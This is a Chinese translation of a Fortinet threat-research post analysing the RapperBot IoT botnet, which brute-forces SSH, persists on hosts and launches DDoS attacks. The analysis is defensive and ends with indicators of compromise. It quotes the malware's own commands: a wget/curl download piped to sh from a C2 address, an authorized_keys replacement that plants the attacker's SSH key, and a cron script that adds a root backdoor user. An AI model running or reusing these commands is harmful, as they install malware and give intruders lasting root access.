RapperBot,你在酝酿什么?

发布者:梦幻的彼岸
发布于:2022-08-11 14:45

So RapperBot, What Ya Bruting For?

原文地址:https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery

翻译:梦幻的彼岸


自2022年6月中旬以来,FortiGuard实验室一直在跟踪一个快速发展的物联网恶意软件家族,称为 "RapperBot"。这个家族在很大程度上借用了原始Mirai的源代码,但它与其他物联网恶意软件家族的区别在于,它内置的能力是对凭证进行暴力破解,并获得对SSH服务器的访问,而不是像Mirai中实现的Telnet。

此外,最近的样本显示,它的开发者已经开始添加代码以保持持久性,这在其他Mirai变种中很少做到。这使威胁者能够通过SSH继续访问受感染的设备,即使在设备重新启动或恶意软件被删除后也是如此。

受影响的平台:Linux系统

受影响的用户:任何组织

影响:远程攻击者获得对受攻击系统的控制

严重性等级:严重

这篇文章揭示了这种威胁是如何在受害者设备上感染和持续存在的,还有一些有趣的变化,使我们对威胁者的真正意图产生怀疑。



发现

2022年6月,FortiGuard实验室遇到了带有SSH相关字符串的物联网恶意软件样本,这在其他物联网威胁活动中不常见。更加引起我们兴趣的是引用这些字符串的代码的大小与用于DDoS攻击的代码相比,后者通常包括其他变种中的大部分代码。

经过进一步分析,我们发现这个被称为 "RapperBot "的恶意软件家族,主要被设计成具有有限的DDoS能力的SSH蛮力破坏者。与大多数物联网恶意软件一样,它的目标是ARM、MIPS、SPARC和X86架构。

RapperBot "这个名字来自7月初CNCERT的一份报告,其中在较早的样本中发现了一个嵌入YouTube说唱音乐视频的URL。在这份报告之后发布的RapperBot的样本不包含这个URL。

来自另一个世界的Hello

RapperBot大量重用了Mirai的部分源代码,但其功能和实施细节,如命令和控制(C2)命令协议,与原始Mirai和FortiGuard实验室监测到的基于Mirai的典型变种有很大不同。

与大多数Mirai变种不同的是,RapperBot专门扫描并试图对配置为接受密码验证的SSH服务器进行暴力攻击,这些变种使用默认或弱密码。恶意软件的大部分代码包含一个SSH 2.0客户端的实现,它可以连接和蛮力攻击任何支持768位或2048位密钥的Diffie-Hellmann密钥交换和使用AES128-CTR的数据加密的SSH服务器。

在RapperBot中蛮力实现的一个明显特征是在SSH协议交换阶段使用 "SSH-2.0-HELLOWORLD "向目标SSH服务器标识自己。这个RapperBot在6月中旬的出现与SANS互联网风暴中心在他们的蜜罐日志中观察到的相同的客户端识别字符串相吻合。

早期的样本在二进制文件中硬编码了破解的凭证列表。从7月开始,样本现在从C2服务器的另一个端口检索这个列表。这使得威胁者可以不断增加新的SSH凭证,而不必用新的样本来更新受感染的设备。在最新的样本中,这个端口号从4343到4345不等。

一旦RapperBot成功地对SSH服务器进行暴力攻击,有效的凭证就会在一个单独的端口(目前是48109)上报告给C2服务器,而不会对远程受害者执行进一步的命令。

然而,在6月下旬,FortiGuard实验室发现一些样本试图通过远程二进制下载器在入侵后进行自我传播。在被入侵的SSH服务器上执行的命令如下。


sh
enable
shell
debug shell
cmd

wget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- |  sh

由于未知的原因,这种传播功能在几天后收集的样本中被删除了,在随后的样本中也没有看到。与最初的Mirai一样,我们怀疑威胁者已经实施了一个单独的加载器系统,随后将连接到受害者,下载并执行僵尸客户端。

永远不会放弃你

自7月中旬以来,RapperBot已经从自我传播转为维持对被破解的SSH服务器的远程访问。它运行一个shell命令来替换远程受害者的~/.ssh/authorized_keys,其中包含威胁者的SSH公钥,注释为 “helloworld,”如下所示:

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vs Hc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweY qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1J FJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziis Zze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v 2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;

存储在~/.ssh/authorized_keys中的公钥允许任何拥有相应私钥的人连接并验证SSH服务器而不需要提供密码。这对被破坏的SSH服务器构成了威胁,因为即使在SSH凭证被改变或SSH密码认证被禁用后,威胁者也可以访问它们。此外,由于文件被替换,所有现有的授权密钥被删除,这使得合法用户无法通过公钥认证访问SSH服务器。

除了保持对每个SSH服务器的访问,RapperBot还非常想在它执行的任何设备上保留其立足点。7月中旬的样本在执行时将上述相同的SSH密钥附加到受感染设备的本地"~/.ssh/authorized_keys"。这允许RapperBot通过SSH保持对这些受感染设备的访问,即使在设备重启或RapperBot从设备中移除后也是如此,这对大多数Mirai变种来说是不典型的。为了更好地隐藏在众目睽睽之下,最新的样本使用一个更无害的注释 "由服务器20220709生成的系统密钥 "作为公钥,而不是 "helloworld"。

在最新的RapperBot样本中,该恶意软件还开始通过直接写入"/etc/passwd "和"/etc/shadow/"向受感染的设备添加根用户 "suhelper",进一步允许威胁行为者完全控制该设备。同时,在其他用户(或僵尸网络)试图从受害者系统中删除他们的账户的情况下,它每小时通过向"/etc/cron.hourly/0 "写入以下脚本添加根用户账户。下面提供了添加root用户的命令

#!/bin/sh

useradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1

说明了RapperBot的最新样本如何工作。虚线表示FortiGuard实验室评估的潜在行动,威胁者可以执行这些行动,但在实际场景中没有被观察到。

你看不到我了

虽然早期的样本有明文的字符串,但随后的样本通过在栈上构建字符串,给字符串增加了额外的混淆。这使得普通的分析工具和检测技术无法从二进制文件中提取解密的字符串

此外,这些最新的样本实施了一层额外的Mirai风格的XOR编码,以隐藏这些字符串在执行过程中的内存扫描器。


虽然大多数Mirai和Gafgyt僵尸网络运营商,如Keksec,倾向于在恶意软件样本中包含识别自己的字符串,但这种恶意软件的开发者保持相对低调(除了偶尔提到说唱音乐)。

网络协议

以接收命令(在最新的样本中为443),下载SSH证书列表,或在SSH暴力攻击期间报告有效证书。

命令的网络协议将在下面进一步详细解释。

每个请求都包含一个bot D,一个在二进制中硬编码的32字节的值。FortiGuard实验室观察到两个ID,如下:

d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe 46 53 c7 0b b5 18 27

f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6 3f 2a 16 71 b6 eb 9a (另一个集群只在2021年12月底出现过)

作为一个附带说明,对这些机器人ID的透视使我们能够找到2021年11月的旧样本。然而,SSH暴力强迫能力只出现在2022年6月中旬的样本中。

RapperBot开始向C2服务器发送一个注册数据包。这包括二进制文件在受害者系统中执行时使用的参数(被Mirai称为 "源"),这通常提供一些关于其执行的基本背景信息。例如,"ssh.wget.arm7 "将告诉C2,二进制文件是通过SSH协议传播的,通过wget工具下载,并且是ARM架构的。

后续的通信采用如下构造:

1

2

3

4

5

struct rapperbot_registration {

    byte bot_id[32];

    int command_code;

    source [32];

};

以下是RapperBot所支持的命令代码:

  • 0x00: Register (used by the client)
  • 0x01: Keep-Alive/Do nothing
  • 0x02: Stop all DoS attacks and terminate the client
  • 0x03: Perform a DoS attack
  • 0x04: Stop all DoS attacks

就在注册数据包之后,客户端发送另一个请求,通知C2,客户端已经准备好接收命令。C2服务器通常用一个keep-alive命令来回应,以确认该请求。

除了keep-alive命令,我们在分析期间没有观察到C2服务器的任何其他命令。

然而,RapperBot确实支持一套非常小的DoS攻击,包括普通的UDP和TCP STOMP洪水攻击,与Mirai的实现非常相似。

攻击命令构造如下:

1

2

3

4

5

6

7

8

struct rapperbot_attack_command {

    byte bot_id[32];

    int command_code;  // 0x03

    byte vector; // type of DoS attack

    ushort target_port;

    int duration;

    int target_ip;

};

 

神秘的动机

FortiGuard实验室已经监测这一威胁超过一个月了。在这段时间里,它经历了几个有趣的变化,在试图确定威胁者发起这一活动的主要动机时,引起的问题多于答案。

有一次,观察到样本中的DDoS攻击功能被完全删除,一周后又重新添加。保留DDoS功能是否是为了伪装成一个典型的DDoS僵尸网络,以避免引起太多的注意?也有可能这整个活动仍在进行中。

此外,自我传播在6月下旬的几天后被删除,目前的重点是积极保留继续访问暴力强迫的SSH服务器。威胁者对收集被破坏的SSH设备比扩大他们的僵尸网络更感兴趣吗?

除此之外,我们还没有看到在暴力强迫后交付的额外有效载荷。我们只能猜测为什么威胁者正在收集一个快速增长的被破坏的SSH服务器的集合。在过去的1个半月里,我们观察到超过3500个独特的IP,试图用SSH-2.0-HELLOWORLD客户端识别字符串扫描和暴力破解SSH服务器。

Scanner IP Count from mid-June 2022 to late July 2022

总结

虽然这种威胁大量借用了Mirai的代码,但它的特点使其有别于其前身及其变种。它在受害者系统中持续存在的能力使威胁者可以灵活地将其用于任何他们想要的恶意目的。

由于RapperBot经历了一些重大和奇怪的变化,它的主要动机仍然是一个谜。无论如何,由于它的主要传播方式是暴力强迫SSH凭证,通过为设备设置强密码或禁用SSH的密码验证(在可能的情况下),可以很容易地缓解这种威胁。

FortiGuard实验室将继续监测RapperBot的发展。

Fortinet保护措施

Fortinet客户受到以下保护:

  • FortiGuard防病毒服务检测并阻止这种威胁,如ELF/Mirai和Linux/Mirai。
  • FortiGuard Web过滤服务阻止C2服务器和下载的URL。

FortiGuard IP Reputation and Anti-Botnet Security Service 通过聚合来自Fortinet分布式网络的威胁传感器、CERTs、MITRE、合作竞争者和其他全球来源的恶意源IP数据,主动阻止这些攻击。

IOCs

Files

92ae77e9dd22e7680123bb230ce43ef602998e6a1c6756d9e2ce5822a09b37b4
a31f4caa0be9e588056c92fd69c8ac970ebc7e85a68615b1d9407a954d4df45d
e8d06ac196c7852ff71c150b2081150be9996ff670550717127db8ab855175a8
23a415d0ec6d3131f1d537836d3c0449097e98167b18fbdbf2efca789748818a
c83f318339e9c4072010b625d876558d14eaa0028339db9edf12bbcafe6828bb
05c78eaf32af9647f178dff981e6e4e43b1579d95ccd4f1c2f1436dbfa0727ad
88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
e8f1e8ec6b94ea54488d5f714e71e51d58dcdfe4be3827c55970d6f3b06edf73
23256f231f3d91b0136b44d649b924552607a29b43a195024dbe6cde5b4a28ad
77b2e5fb5b72493bde35a6b29a66e6250b6a5a0c9b9c5653957f64a12c793cd5
dcdeedee4736ec528d1a30a585ec4a1a4f3462d6d25b71f6c1a4fef7f641e7ae
ebb860512a55c1cdc8be1399eec44c4481aedb418f15dbda4612e6d38e9b9010
9d234e975e4df539a217d1c4386822be1f56cea35f7dd2aa606ae4995894da42
1975851c916587e057fa5862884cbac3fa1e80881ddd062392486f5390c86865
8380321c1bd250424a0a167e0f319511611f73b53736895a8d3a2ad58ffcd5d5
f5ff9d1261af176d7ff1ef91aa8c892c70b40caa02c17a25de22539e9d0cdd26
2298071b6ba7baa5393be064876efcdbd9217c212e0c764ba62a6f0ffc83cc5a
2479932a6690f070fa344e5222e3fbb6ad9c880294d5b822d7a3ec27f1b8b8d5
1d5e6624a2ce55616ef078a72f25c9d71a3dbc0175522c0d8e07233115824f96
746106403a98aea357b80f17910b641db9c4fedbb3968e75d836e8b1d5712a62
ddf5aff0485f395c7e6c3de868b15212129962b4b9c8040bef6679ad880e3f31
e56edaa1e06403757e6e2362383d41db4e4453aafda144bb36080a1f1b899a02
55ff25b090dc1b380d8ca152428ba28ec14e9ef13a48b3fd162e965244b0d39b
8e9f87bb25ff83e4ad970366bba47afb838028f7028ea3a7c73c4d08906ec102
d86d158778a90f6633b41a10e169b25e3cb1eb35b369a9168ec64b2d8b3cbeec
ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04

下载 URLs

hxxp://31[.]44[.]185[.]235/x86
hxxp://31[.]44[.]185[.]235/mips
hxxp://31[.]44[.]185[.]235/arm7
hxxp://2[.]58[.]149[.]116/arm
hxxp://2[.]58[.]149[.]116/spc
hxxp://2[.]58[.]149[.]116/mips
hxxp://2[.]58[.]149[.]116/x86_64
hxxp://2[.]58[.]149[.]116/ssh/arm7
hxxp://2[.]58[.]149[.]116/ssh/mips
hxxp://2[.]58[.]149[.]116/ssh/x86
hxxp://2[.]58[.]149[.]116/ssh/spc
hxxp://194[.]31[.]98[.]244/ssh/new/spc
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm7
hxxp://185[.]225[.]73[.]196/ssh/new/mips
hxxp//185[.]225[.]73[.]196/ssh/new/x86

C2

31[.]44[.]185[.]235
2[.]58[.]149[.]116
194[.]31[.]98[.]244
185[.]225[.]73[.]196

威胁主体 SSH public key

AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJ GGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30 NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1 giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLD BAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==

威胁主体 root 用户

/etc /passwd suhelper:x:0:0::/:

/etc /shadow suhelper:$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/:19185:0:99999:7:::



声明:该文观点仅代表作者本人,转载请注明来自看雪